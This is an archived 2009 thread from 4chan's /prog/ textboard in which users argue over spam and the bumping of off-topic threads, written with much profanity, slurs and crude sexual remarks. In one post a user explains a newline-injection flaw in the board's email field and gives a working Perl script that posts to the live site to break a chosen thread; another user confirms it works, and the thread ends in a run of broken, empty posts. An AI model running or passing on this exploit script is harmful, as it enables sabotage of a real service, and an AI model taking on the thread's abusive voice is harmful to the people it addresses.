Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

to AnusRibs

Name: Anonymous 2009-11-23 13:00

I unfortunately cannot respond in any of the threads you posted in; was it really that hard to use sage in http://dis.4chan.org/read/prog/1203609680?

Name: AnusRibs 2009-11-23 13:15

The thing is, that thread (and plenty of others, like "COOL FREE COEDS") don't just go away when the non-retarded people on /prog/ decide to sage them.  They get bumped to the top page every fuckin day (or at least every week, to prolong our agony) and clutter up the front page of /prog/ with fucking "DO U PREFER SEX OR PROGRAMMING???", like we really need to start that thread again each month.

I mean how long do we need that fucking thread you linked to to be on the front page?  The first post is dated 2008-02-21 11:18, and after some shitnugget necromanced it ten days ago it has been on the front page of /prog/ every day since.

Name: Anonymous 2009-11-23 13:26

after some shitnugget

It's the same autistic retard that spams VIP with JEWS and that shitty cummed inside forced meme in lounge.

Name: Anonymous 2009-11-23 13:45

>>2
I didn't say that spamming the thread in >>1 was bad, I'm saying that you could have saged while doing so. And now I realize you couldn't possibly have done that, as you've used the exploit. Sorry.

(But other than that, even the Sex or Programming?? thread was kind of programming related, and did no harm. I dislike it when a self-righteous faggot just comes in and says ``uh oh I don't like this thread so I'm gonna spam it'')

Name: Anonymous 2009-11-23 14:11

RIBS MY ANUS

Name: AnusRibs 2009-11-23 14:13

>>4
There was no programming discussion in it IIRC.  Would you still think I'm "self-righteous" if you agreed that it was a pointless waste of front-page space?

Name: Anonymous 2009-11-23 14:33

>>3
The whole point of "The * of being cummed inside" was that it was forced

Name: Anonymous 2009-11-23 14:34

>>6
using the thread locker is being just as much a shit poster as they are, you're only encouraging them to create more shit threads

Name: AnusRibs 2009-11-23 14:52

>>8
They will get bored and then we can have REAL THREADS when they walk off to go masturbate to loli or flip hamburgers or whatever, instead of other people who are using /prog/ having to fucking sift through their threads while other unfunny idiots continue to bump the shit-threads.

Name: Anonymous 2009-11-23 15:19

There is no shitchan exploit its just a fucking bot you assholes.

Name: TRUE TRUTH EXPERT !!TthtFzrtPXElUy7 2009-11-23 15:50

sHUT THE FUCK UP YOU UNRIGHTEOUS JEALOUS SELF BITCH OF SHITFACE COCKDICKSUCKING FATHERFUCKER

Name: Anonymous 2009-11-23 15:59

>>10

Name:  : 1969-12-31 19:00
I don't think you know what you're talking about.

Anyway this exploit interests me, I wonder how it's done (too bad though, posting it here would be disastrous).

Unfortunately if it gets used this much I expect it'll be fixed soon.

Name: Anonymous 2009-11-23 16:08

>>12
I don't know why it wasn't fixed the last time this happened.

Name: Anonymous 2009-11-23 16:24

>>12
You put fucking newlines in the email field.  That's it.  Here, I'll make you a coed:
#!/usr/bin/perl
use 5.008001;
use LWP::UserAgent;

die "Usage: $0 threadid\n" unless @ARGV==1;
$u = new LWP::UserAgent agent => "Mozilla/5.0";
$r = $u->post("http://dis.4chan.org/post", [
    bbs => 'prog',
    id => $ARGV[0],
    shiichan => 'proper2',
    kotehan => 'AnusRibs',
    meiru => "\n"x1000,
    com => "goodbye shitty offtopic thread",
    email => '',
]);
print $r->content;


What's disastrous is letting retarded 12-year-olds think they own the board.  I say nuke everything until this is fixed.

Name: Anonymous 2009-11-23 16:49

Does it work?

Name: Anonymous 2009-11-23 16:53

>>15
Seems to, I tested it on my local shiichan install.

Name: 2025-12-31 9:58

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00

Name: 1970-01-01 0:00


Newer Posts